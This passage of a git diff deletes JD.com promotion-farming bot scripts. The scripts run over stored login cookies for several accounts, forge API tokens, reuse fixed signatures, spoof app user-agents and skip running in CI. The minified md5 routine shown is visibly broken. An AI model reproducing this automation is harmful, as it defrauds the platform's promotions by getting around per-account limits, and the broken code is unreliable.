resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data.code === '0' && data.busiCode === '0') { - if (data.result.luckyDrawData.actId) { - if (data.result.luckyDrawData.redPacketId) { - console.log(`券后9.9抽奖获得【红包】:${data.result.luckyDrawData.quota}元`); - } else { - console.log(`券后9.9抽奖获得【优惠券】:${data.result.luckyDrawData.discount}元:${data.result.luckyDrawData.prizeName},${data.result.luckyDrawData.quotaDesc}`); - } - } else { - console.log(`券后9.9抽奖获失败:今日3次抽奖机会已用完\n`) - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -async function doTask() { - if ($.taskHomePageData && $.taskHomePageData.code === 0) { - $.taskInfo = $.taskHomePageData.data.result.taskInfos; - if ($.taskInfo && $.taskInfo.length > 0) { - console.log(` 任务 状态 红包是否领取`); - for (let item of $.taskInfo) { - console.log(`${item.title.slice(-6)} ${item.alreadyReceivedCount ? item.alreadyReceivedCount: 0}/${item.requireCount} ${item.innerStatus === 4 ? '是':'否'}`) - } - for (let item of $.taskInfo) { - //innerStatus=4已领取红包,3:任务已完成,红包未领取,2:任务已领取,但未完成,7,未领取任务 - if (item.innerStatus === 4) { - console.log(`[${item.title}] 已经领取奖励`) - } else if (item.innerStatus === 3) { - await receiveTaskRedpacket(item.taskType); - } else if (item.innerStatus === 2) { - if (item.taskType !== 0 && item.taskType !== 1) { - console.log(`开始做【${item.title}】任务`); - await active(item.taskType); - console.log(`开始领取【${item.title}】任务所得红包奖励`); - await receiveTaskRedpacket(item.taskType); - } else if (item.taskType === 1) { - //浏览10秒任务 - console.log(`开始做【${item.title}】任务`); - await doAppTask(); - } else { - //TODO 领3张优惠券 - console.log(`[${item.title}] 功能未开发`) - } - } else if (item.innerStatus !== 4) { - console.log(`\n开始领取【${item.title}】任务`); - await startTask(item.taskType); - if (item.taskType !== 0 && item.taskType !== 1) { - console.log(`开始做【${item.title}】任务`); - await active(item.taskType); - console.log(`开始领取【${item.title}】任务所得红包奖励`); - await receiveTaskRedpacket(item.taskType); - } else if (item.taskType === 1) { - //浏览10秒任务 - console.log(`开始做【${item.title}】任务`); - await doAppTask(); - } else { - //TODO 领3张优惠券 - console.log(`[${item.title}] 功能未开发`) - } - } - } - } - } else { - console.log(`\n获取任务列表异常:${JSON.stringify($.taskHomePageData)}\n`) - } -} -async function red() { - $.hasSendNumber = 0; - $.assistants = 0; - $.waitOpenTimes = 0; - if ($.h5activityIndex && $.h5activityIndex.data && $.h5activityIndex.data.result) { - const rewards = $.h5activityIndex.data.result.rewards || []; - $.hasSendNumber = $.h5activityIndex.data.result.hasSendNumber; - if ($.h5activityIndex.data.result.redpacketConfigFillRewardInfo) { - for (let key of Object.keys($.h5activityIndex.data.result.redpacketConfigFillRewardInfo)) { - let vo = $.h5activityIndex.data.result.redpacketConfigFillRewardInfo[key] - $.assistants += vo.hasAssistNum - if (vo.packetStatus === 1) { - $.waitOpenTimes += 1 - } - } - } - } - if ($.h5activityIndex && $.h5activityIndex.data && $.h5activityIndex.data.biz_code === 10002) { - //可发起拆红包活动 - await h5launch(); - } else if ($.h5activityIndex && $.h5activityIndex.data && ($.h5activityIndex.data.biz_code === 20001)) { - //20001:红包活动正在进行,可拆 - const redPacketId = $.h5activityIndex.data.result.redpacketInfo.id; - if (redPacketId) $.redPacketId.push(redPacketId); - console.log(`\n\n当前待拆红包ID:${$.h5activityIndex.data.result.redpacketInfo.id},进度:再邀${$.h5activityIndex.data.result.redpacketConfigFillRewardInfo[$.hasSendNumber].requireAssistNum - $.h5activityIndex.data.result.redpacketConfigFillRewardInfo[$.hasSendNumber].hasAssistNum}个好友,开第${$.hasSendNumber + 1}个红包。当前已拆红包:${$.hasSendNumber}个,剩余${$.h5activityIndex.data.result.remainRedpacketNumber}个红包待开,已有${$.assistants}好友助力\n\n`) - console.log(`当前可拆红包个数:${$.waitOpenTimes}`) - if ($.waitOpenTimes > 0) { - for (let i = 0; i < $.waitOpenTimes; i++) { - await h5receiveRedpacketAll(); - await $.wait(2000); - } - } - } else if ($.h5activityIndex && $.h5activityIndex.data && $.h5activityIndex.data.biz_code === 20002) { - console.log(`\n${$.h5activityIndex.data.biz_msg}\n`); - } -} -//获取任务列表API -function taskHomePage() { - return new Promise((resolve) => { - $.post(taskUrl(arguments.callee.name.toString(), {"clientInfo":{}}), (err, resp, data) => { - try { - if (err) { - console.log(`\n${$.name}: API查询请求失败 ‼️‼️`); - console.log(JSON.stringify(err)); - } else { - $.taskHomePageData = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -//领取任务API,需token -function startTask(taskType) { - // 从taskHomePage返回的数据里面拿taskType - let data = {taskType}; - data['token'] = $.md5($.md5("j" + JSON.stringify(data) + "D")) - return new Promise((resolve) => { - $.post(taskUrl(arguments.callee.name.toString(), data), (err, resp, data) => { - try { - if (err) { - console.log(`\n${$.name}: API查询请求失败 ‼️‼️`); - console.log(JSON.stringify(err)); - } else { - console.log(`领取任务:${data}`) - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} - -//做任务fun -async function active(taskType) { - const getTaskDetailForColorRes = await getTaskDetailForColor(taskType); - if (getTaskDetailForColorRes && getTaskDetailForColorRes.code === 0) { - if (getTaskDetailForColorRes.data && getTaskDetailForColorRes.data.result) { - const { advertDetails } = getTaskDetailForColorRes.data.result; - for (let item of advertDetails) { - await $.wait(1000); - if (item.id && item.status === 0) { - await taskReportForColor(taskType, item.id); - } - } - } else { - console.log(`任务列表为空,手动进入app内检查 是否存在[从京豆首页进领券中心逛30秒]的任务,如存在,请手动完成再运行脚本`) - $.msg(`${$.name}`, '', '手动进入app内检查\n是否存在[从京豆首页进领券中心逛30秒]的任务\n如存在,请手动完成再运行脚本'); - if ($.isNode()) await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `执行脚本出现异常\n请手动进入app内检查\n是否存在[从京豆首页进领券中心逛30秒]的任务\n如存在,请手动完成再运行脚本`) - } - } else { - console.log(`---具体任务详情---${JSON.stringify(getTaskDetailForColorRes)}`); - } -} - -//获取具体任务详情API -function getTaskDetailForColor(taskType) { - const data = {"clientInfo":{}, taskType}; - return new Promise((resolve) => { - $.post(taskUrl(arguments.callee.name.toString(), data), (err, resp, data) => { - try { - if (err) { - console.log(`\n${$.name}: API查询请求失败 ‼️‼️`); - console.log(JSON.stringify(err)); - } else { - // console.log('getTaskDetailForColor', data); - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -//做成任务API -function taskReportForColor(taskType, detailId) { - const data = {taskType, detailId}; - data['token'] = $.md5($.md5("j" + JSON.stringify(data) + "D")) - //console.log(`活动id:::${detailId}\n`) - return new Promise((resolve) => { - $.post(taskUrl(arguments.callee.name.toString(), data), (err, resp, data) => { - try { - if (err) { - console.log(`\n${$.name}: API查询请求失败 ‼️‼️`); - console.log(JSON.stringify(err)); - } else { - // console.log(`taskReportForColor`, data); - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -//领取做完任务后的红包 -function receiveTaskRedpacket(taskType) { - const body = {"clientInfo":{}, taskType}; - return new Promise((resolve) => { - $.post(taskUrl('h5receiveRedpacketAll', body), (err, resp, data) => { - try { - if (err) { - console.log(`\n${$.name}: API查询请求失败 ‼️‼️`); - console.log(JSON.stringify(err)); - } else { - data = JSON.parse(data); - if (data.data.success && data.data.biz_code === 0) { - console.log(`红包领取成功,获得${data.data.result.discount}元\n`) - $.discount += Number(data.data.result.discount); - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -//助力API -function jinli_h5assist(redPacketId) { - //一个人一天只能助力两次,助力码redPacketId 每天都变 - const body = {"clientInfo":{},redPacketId,"followShop":0,"promUserState":""}; - const options = taskUrl(arguments.callee.name.toString(), body) - return new Promise((resolve) => { - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`\n${$.name}: API查询请求失败 ‼️‼️`); - console.log(JSON.stringify(err)); - } else { - data = JSON.parse(data); - if (data && data.data && data.data.biz_code === 0) { - // status ,0:助力成功,1:不能重复助力,3:助力次数耗尽,8:不能为自己助力 - console.log(`助力结果:${data.data.result.statusDesc}`) - if (data.data.result.status === 2) $.max = true; - if (data.data.result.status === 3) $.canHelp = false; - if (data.data.result.status === 9) $.canHelp = false; - } else { - console.log(`助力异常:${JSON.stringify(data)}`); - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} -//领取红包API -function h5receiveRedpacketAll() { - const options = taskUrl(arguments.callee.name.toString(), {"clientInfo":{}}) - return new Promise((resolve) => { - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`\n${$.name}: API查询请求失败 ‼️‼️`); - console.log(JSON.stringify(err)); - } else { - data = JSON.parse(data); - if (data && data.data && data.data.biz_code === 0) { - console.log(`拆红包获得:${data.data.result.discount}元`) - } else { - console.log(`领红包失败:${JSON.stringify(data)}`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -//发起助力红包API -function h5launch() { - const body = {"clientInfo":{},"followShop":0,"promUserState":""}; - const options = taskUrl(arguments.callee.name.toString(), body) - return new Promise((resolve) => { - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`\n${$.name}: API查询请求失败 ‼️‼️`); - console.log(JSON.stringify(err)); - } else { - data = JSON.parse(data); - if (data && data.data && data.data.biz_code === 0) { - if (data.data.result.redPacketId) { - console.log(`\n\n发起助力红包 成功:红包ID ${data.data.result.redPacketId}`) - $.redPacketId.push(data.data.result.redPacketId); - } else { - console.log(`\n\n发起助力红包 失败:${data.data.result.statusDesc}`) - } - } else { - console.log(`发起助力红包 失败:${JSON.stringify(data)}`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -function h5activityIndex() { - const body = {"clientInfo":{},"isjdapp":1}; - const options = taskUrl(arguments.callee.name.toString(), body); - return new Promise((resolve) => { - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`\n${$.name}: API查询请求失败 ‼️‼️`); - console.log(JSON.stringify(err)); - } else { - data = JSON.parse(data); - $.h5activityIndex = data; - $.discount = 0; - if ($.h5activityIndex && $.h5activityIndex.data && $.h5activityIndex.data.result) { - const rewards = $.h5activityIndex.data.result.rewards || []; - for (let item of rewards) { - $.discount += item.packetSum; - } - if ($.discount) $.discount = $.discount.toFixed(2); - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} -async function doAppTask(type = '1') { - let body = { - "pageClickKey": "CouponCenter", - "childActivityUrl": "openapp.jdmobile%3a%2f%2fvirtual%3fparams%3d%7b%5c%22category%5c%22%3a%5c%22jump%5c%22%2c%5c%22des%5c%22%3a%5c%22couponCenter%5c%22%7d", - "lat": "", - "globalLat": "", - "lng": "", - "globalLng": "" - } - await getCcTaskList('getCcTaskList', body, type); - body = { - "globalLng": "", - "globalLat": "", - "monitorSource": "ccgroup_ios_index_task", - "monitorRefer": "", - "taskType": "1", - "childActivityUrl": "openapp.jdmobile%3a%2f%2fvirtual%3fparams%3d%7b%5c%22category%5c%22%3a%5c%22jump%5c%22%2c%5c%22des%5c%22%3a%5c%22couponCenter%5c%22%7d", - "pageClickKey": "CouponCenter", - "lat": "", - "taskId": "727", - "lng": "", - } - await $.wait(10500); - await getCcTaskList('reportCcTask', body, type); -} -function getCcTaskList(functionId, body, type = '1') { - let url = ''; - return new Promise(resolve => { - if (functionId === 'getCcTaskList') { - url = `https://api.m.jd.com/client.action?functionId=${functionId}&body=${escape(JSON.stringify(body))}&uuid=8888888&client=apple&clientVersion=9.4.1&st=1617158358007&sign=a15f78e5846f9b0178dcabb1093a6a7f&sv=100` - } else if (functionId === 'reportCcTask') { - url = `https://api.m.jd.com/client.action?functionId=${functionId}&body=${escape(JSON.stringify(body))}&uuid=8888888&client=apple&clientVersion=9.4.1&st=1617158435079&sign=7eff07437dd817dbfa348c209fd5c129&sv=120` - } - const options = { - url, - body: `body=${escape(JSON.stringify(body))}`, - headers: { - "Accept": "application/json, text/plain, */*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Content-Length": "63", - "Content-Type": "application/x-www-form-urlencoded", - "Host": "api.m.jd.com", - "Origin": "https://h5.m.jd.com", - "Cookie": cookie, - "Referer": "https://h5.m.jd.com/babelDiy/Zeus/4ZK4ZpvoSreRB92RRo8bpJAQNoTq/index.html", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - } - } - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - // data = JSON.parse(data); - if (type === '1' && functionId === 'reportCcTask') console.log(`京东首页点击“领券”逛10s任务:${data}`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getAuthorShareCode(url) { - return new Promise(resolve => { - const options = { - url: `${url}?${new Date()}`, "timeout": 10000, headers: { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - } - }; - if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { - const tunnel = require("tunnel"); - const agent = { - https: tunnel.httpsOverHttp({ - proxy: { - host: process.env.TG_PROXY_HOST, - port: process.env.TG_PROXY_PORT * 1 - } - }) - } - Object.assign(options, { agent }) - } - $.get(options, async (err, resp, data) => { - try { - if (err) { - } else { - if (data) data = JSON.parse(data) - } - } catch (e) { - // $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function taskUrl(functionId, body = {}) { - return { - url: `${JD_API_HOST}?appid=jinlihongbao&functionId=${functionId}&loginType=2&client=jinlihongbao&clientVersion=10.1.0&osVersion=iOS&d_brand=iPhone&d_model=iPhone&t=${new Date().getTime() * 1000}`, - body: `body=${escape(JSON.stringify(body))}`, - headers: { - "Host": "api.m.jd.com", - "Content-Type": "application/x-www-form-urlencoded", - "Origin": "https://happy.m.jd.com", - "Accept-Encoding": "gzip, deflate, br", - "Cookie": cookie, - "Connection": "keep-alive", - "Accept": "*/*", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Referer": "https://happy.m.jd.com/babelDiy/zjyw/3ugedFa7yA6NhxLN5gw2L3PF9sQC/index.html", - "Content-Length": "56", - "Accept-Language": "zh-cn" - } - } -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", - headers: { - Host: "wq.jd.com", - Accept: "*/*", - Connection: "keep-alive", - Cookie: cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br" - } - } - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 1001) { - $.isLogin = false; //cookie过期 - return; - } - if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - console.log('京东服务器返回空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// md5 -!function(n){function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255)}return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1){u[r]=909522486^o[r],c[r]=1549556828^o[r]}return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t)}return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A}(this); -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_ryhxj.js b/backUp/jd_ryhxj.js deleted file mode 100644 index 2eaebde..0000000 --- a/backUp/jd_ryhxj.js +++ /dev/null @@ -1,389 +0,0 @@ -/* - -0 1 * * * jd_ryhxj.js, tag= 荣耀焕新季 -*/ - -const $ = new Env('荣耀焕新季') -const notify = $.isNode() ?require('./sendNotify') : ''; -cookiesArr = [] -CodeArr = [] -cookie = '' -var list2tokenArr = [],list4tokenArr = [],list6tokenArr = [],list7tokenArr = [],list8tokenArr = [],list9tokenArr = [],list11tokenArr = [],list12tokenArr = [],listtokenArr = [] -var taskid,token,helpcode; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -let tz = ($.getval('tz') || '1');//0关闭通知,1默认开启 -const invite=1;//新用户自动邀请,0关闭,1默认开启 -const logs =0;//0为关闭日志,1为开启 -var hour='' -var minute='' -if ($.isNode()) { - hour = new Date( new Date().getTime() + 8 * 60 * 60 * 1000 ).getHours(); - minute = new Date( new Date().getTime() + 8 * 60 * 60 * 1000 ).getMinutes(); -}else{ - hour = (new Date()).getHours(); - minute = (new Date()).getMinutes(); -} -//CK运行 -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [ - $.getdata("CookieJD"), - $.getdata("CookieJD2"), - ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); -} - -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for(let i = 0; i < cookiesArr.length; i++){ - cookie = cookiesArr[i]; - await gethelpcode() - -} - for (let i =0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - message = '' - $.isLogin = true; - $.index = i + 1; - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { - "open-url": "https://bean.m.jd.com/bean/signIndex.action" - }); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - - await getlist() - await Ariszy() - await control() - await zy() - await userScore() - await Lottery() - } - -})() - .catch((e) => $.logErr(e)) - .finally(() => $.done()) - - -function 